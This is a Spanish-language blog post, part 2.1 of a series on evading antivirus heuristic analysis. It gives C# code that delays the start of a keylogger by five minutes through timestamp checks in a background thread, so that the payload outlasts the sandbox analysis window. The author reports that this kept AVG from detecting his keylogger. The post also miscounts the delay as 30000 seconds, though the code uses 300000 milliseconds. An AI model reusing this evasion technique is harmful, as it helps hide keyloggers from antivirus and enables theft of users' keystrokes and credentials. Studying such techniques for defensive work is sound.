El blog de Miguel Díaz
Siguiente
Screenshot mDrive

mDrive

Sincroniza tus documentos, fotografías y programas entre tus ordenadores, comparte tus ficheros con tus conocidos y accede documentos estés donde estés.Saber mas

RoboCAUpy

Copia eficiente de archivos, toda la potencia de robocopy con una interfaz sencilla y fácil de usar. Herramienta perfecta para migraciones de equipos y copia masiva de ficheros.Saber mas

Screenshot RoboCAUpy

Acortador de nombres

Detecta ficheros con nombres largos, acortalos de forma masiva y reduce el tamaño de la ruta a la cantidad de carácteres que quieras.
Saber mas

screenshot Acortador Nombres
screenshot mRemoto

DNSPropagationChecker

Controla la propagación DNS de cualquier dominio. Con un solo clic conocerás al instante si se ha propagado en los diferentes servidores DNS existentes.Saber mas

mRemoto

Administra remotamente equipos, controlalos gráficamente o través de la línea de comandos, envía y recibe archivos, habla con el usuario y mucho mas sin ningún tipo de configuración previa.Saber mas

Screenshot mRemoto
Anterior
Miércoles 24 d abril dl 2013

antivirusHace un tiempo vimos las diferentes formas en las que un antivirus detectan las amenazas, centrándonos en el análisis de firmas y vimos una forma básica de burlarlo. En esta entrada (2.1) y en la siguiente (2.2) nos centraremos en los análisis heurísticos que tratan de identificar el malware a través de su comportamiento. Por ejemplo, si un ejecutable se copia a los diferentes pendrives  y se conecta a un servidor , es muy probable que un antivirus lo detecte como una amenaza.

Generalmente los antivirus corren los ficheros en un sandbox donde analizan su comportamiento. Una vez sabemos básicamente como funcionan estos análisis vamos a ver cuatro ejemplos de cómo burlar este tipo de análisis, que van desde saturar el proceso dedicado al análisis a detectar si estamos siendo analizados por un antivirus para realizar unas acciones u otras. En nuestro ejemplo usaré un Keylogger programado para la ocasión y el antivirus AVG el cual tiene protección heurística y como podemos ver es identificado como una amenaza.

Excediendo el tiempo límite de análisis.

Este es el ejemplo mas básico de los que vamos a ver, se basa en la limitación de los antivirus a la hora de analizar un fichero y es que por razones de optimización no es capaz de mantener un análisis constante hacia un fichero pasado un tiempo sin actividad sospechosa lo toma como fiable, este método aunque puede sonar sencillo es tenido en cuenta por muchos antivirus que suprimen las “pausas” que tenga el proceso, así que lo correcto es que el malware realice acciones legítimas durante el tiempo que dura dicho análisis a fin de ser considerado un software no malicioso. Un ejemplo de esto es el siguiente código:

Para vurlarlo en este primer ejemplo lo que haremos es iniciar la función keylogger() pasado un determinado tiempo, sin realizar llamadas a Thread.sleep o demás formas “deducibles”, para ello iniciamos en un hilo a parte una funcion encargada de ver si ha pasado dicho tiempo

  double inicio; //Guarda el milisegundo en el que se inicia el programa
 private void Form1_Load(object sender, EventArgs e)
        {
            inicio = new TimeSpan(DateTime.Now.Ticks).TotalMilliseconds;
            hilo_key = new Thread(startKeylogger);
            hilo_key.Start();
        }

Como podéis ver lo primero que hacemos es comprobar el momento en el que se ha iniciado la aplicación y guardarlo en la variable global inicio, a continuación llamamos al proceso startKeylogger la cual se encargará de ver si ha pasado el tiempo indicado como vemos a continuación

      //Inicia el keylogger cuando hayan pasado 5 minutos
        private void startKeylogger()
        {
            while (1==1)
            {
                if (new TimeSpan(DateTime.Now.Ticks).TotalMilliseconds > inicio + 300000) //Si han pasado 5 minutos
                {
                    while (1==1) //Bucle sin sentido, lo explicaremos mas abajo.
                    {
                        keylogger(); //Inicia el keylogger
                    }
                }
                else
                {
                    System.Threading.Thread.Sleep(1000); //Si no han pasado cinco minutos espera un segundo hasta volver a realizar la comprobación
                }
            }
        }

Si bien puede parecer algo enrevesada esta función lo único que hace es comprobar si el tiempo actual es inicio (el momento en el que arrancó el software) mas 30000 segundos, lo correspondiente a cinco minutos, en caso de que no sea así vuelve a ejecutarse la comprobación hasta que dicha condición se cumpla.

Además es importante jugar con diferentes formas de hacer este tipo de cosas aunque por que cuanto mas compliquemos el camino mas efectivo será contra un análisis heurísticos pesar de que no sea “lógico” en términos de programación, ya que a mas acciones “no perjudiciales” detecte el motor antivirus menos motivos hay para sospechar. De ahí podemos ver el segundo bucle infinito que es simplemente algo absurdo y que a razón de eficiencia podríamos suprimir dejando solo keylogger();

Si os fijáis hemos puesto algunos Sleeps, los cuales no son pensando en el análisis heurístico, ya que probablemente sean omitidos, si no que son pensados para reducir el consumo de recursos en el equipo ya que realizar las comprobaciones de forma infinita y sin control daría como resultado un alto uso de CPU.

En este caso, esta modificación es suficiente para que AVG no detecte mi software como malicioso, pero en cualquier caso en la próxima entrega explicaremos otros medios mas sofisticados a la par que efectivos para detectar si estamos siendo analizados.

  • Tweet

Acerca de Miguel Díaz

Informático, enamorado de la programación, diseño Web y el deporte.
Categorías: Malware, Pentesting, Programación, Seguridad. Etiquetas: , , , , , , .

2 comentarios en Técnicas de evasión frente antivirus o cómo burlar un antivirus – Parte 2.1 – Análisis heurísticos

  1.  El Doctor Bugs (@Eldoctorbugs) dice:

    Buena entrada ;-)

  2.  Novato dice:

    Hola Miguel lo que dices es programar el keylogger en java? para estas funciones, o ay alguna forma de llamar el server del keylogger ya creado? desde java?

    No entiendo muy bien.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Blog de Miguel Díaz
Diseño Web por Miguel Díaz.